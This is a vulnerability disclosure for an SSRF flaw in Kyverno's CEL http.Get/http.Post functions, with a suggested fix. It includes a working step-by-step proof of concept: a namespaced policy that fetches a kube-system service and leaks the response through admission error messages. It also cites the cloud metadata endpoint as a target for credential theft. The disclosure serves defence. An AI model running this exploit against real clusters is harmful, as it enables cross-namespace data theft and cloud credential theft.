CVE-2026-4789 — kyverno

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.

Affected Versions

• Kyverno >= 1.16.0 (with policies.kyverno.io CRDs enabled, which is the default)
• Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)

Details

The http.Get() and http.Post() functions available in CEL-based policies (policies.kyverno.io API group) do not enforce any URL restrictions. Unlike resource.Lib which enforces namespace boundaries for namespaced policies, the http.Lib allows unrestricted access to any URL.

Vulnerable Code: pkg/cel/libs/http/http.go

func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
    req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)
    // NO URL VALIDATION - no blocklist, no namespace restrictions
    ...
}

Contrast with resource.Lib which enforces namespace:

// pkg/cel/libs/resource/lib.go
func Lib(namespace string, v *version.Version) cel.EnvOption {
    return cel.Lib(&lib{namespace: namespace, version: v})  // Namespace enforced
}

This is a different code path from previously reported issues:

• GHSA-8p9x-46gm-qfx2: pkg/engine/apicall/apiCall.go (URLPath) - Fixed
• GHSA-459x-q9hg-4gpq: pkg/engine/apicall/executor.go (Service.URL) - Different feature (apiCall vs CEL http)
• This issue: pkg/cel/libs/http/http.go (CEL http.Get/http.Post) - Not fixed

PoC

Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).

A complete automated PoC script is attached. Manual steps below:

1. Setup attacker with namespace-scoped permissions

kubectl create namespace attacker-ns
kubectl create serviceaccount namespace-admin -n attacker-ns

cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: namespace-admin-role
  namespace: attacker-ns
rules:
  - apiGroups: [""]
    resources: ["configmaps"]
    verbs: ["create", "get", "list"]
  - apiGroups: ["policies.kyverno.io"]
    resources: ["namespacedvalidatingpolicies"]
    verbs: ["create", "get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: namespace-admin-binding
  namespace: attacker-ns
subjects:
  - kind: ServiceAccount
    name: namespace-admin
    namespace: attacker-ns
roleRef:
  kind: Role
  name: namespace-admin-role
  apiGroup: rbac.authorization.k8s.io
EOF

2. Create sensitive internal service (simulating internal API or cloud metadata)

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: internal-api
  namespace: kube-system
  labels:
    app: internal-api
spec:
  containers:
  - name: server
    image: hashicorp/http-echo
    args:
      - "-text={\"secret\": \"STOLEN_INTERNAL_SECRET_12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}"
      - "-listen=:8080"
---
apiVersion: v1
kind: Service
metadata:
  name: internal-api
  namespace: kube-system
spec:
  selector:
    app: internal-api
  ports:
  - port: 80
    targetPort: 8080
EOF

3. Verify attacker cannot access kube-system directly

kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin
# Output: no

4. Create malicious NamespacedValidatingPolicy (as attacker)

cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
  name: cel-ssrf-poc
  namespace: attacker-ns
spec:
  matchConstraints:
    resourceRules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE"]
        resources: ["configmaps"]
  variables:
    - name: stolenData
      expression: |
        http.Get('http://internal-api.kube-system.svc.cluster.local')
  validations:
    - expression: "false"
      message: "Validation failed"
      messageExpression: |
        'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token']
EOF

5. Trigger exploit and exfiltrate data

kubectl create configmap trigger --from-literal=x=y -n attacker-ns \
  --as=system:serviceaccount:attacker-ns:namespace-admin

6. Result - Secret data exfiltrated

error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail" 
denied the request: Policy cel-ssrf-poc failed: 
SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Impact

1. Cross-namespace data access: Users with only namespace-scoped permissions can access services in any namespace
2. Cloud credential theft: Access to http://169.254.169.254/... allows stealing AWS/GCP/Azure IAM credentials
3. Data exfiltration: HTTP response data exposed via validation error messages or audit annotations
4. Breaks namespace isolation: Inconsistent with Kyverno's security model where resource.Lib enforces namespace boundaries

Affected Policies

All CEL-based namespaced policies in policies.kyverno.io API group:

• NamespacedValidatingPolicy
• NamespacedMutatingPolicy
• NamespacedDeletingPolicy
• NamespacedImageValidatingPolicy

Suggested Fix

Add namespace and URL restrictions to pkg/cel/libs/http/http.go, similar to how resource.Lib enforces namespace boundaries:

type lib struct {
    namespace string  // Add namespace parameter
    version   *version.Version
}

func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
    if err := r.validateURL(url); err != nil {
        return nil, fmt.Errorf("blocked URL: %w", err)
    }
    // ... existing code
}

func (r *contextImpl) validateURL(urlStr string) error {
    // Block cloud metadata (169.254.0.0/16)
    // Block localhost/loopback (127.0.0.0/8)
    // For namespaced policies: restrict to same namespace services only
}

Attached kyverno-cel-ssrf-poc.sh

Credit

Discovered by: Igor Stepansky Organization: Orca Security Email: [email protected] Personal Email: [email protected]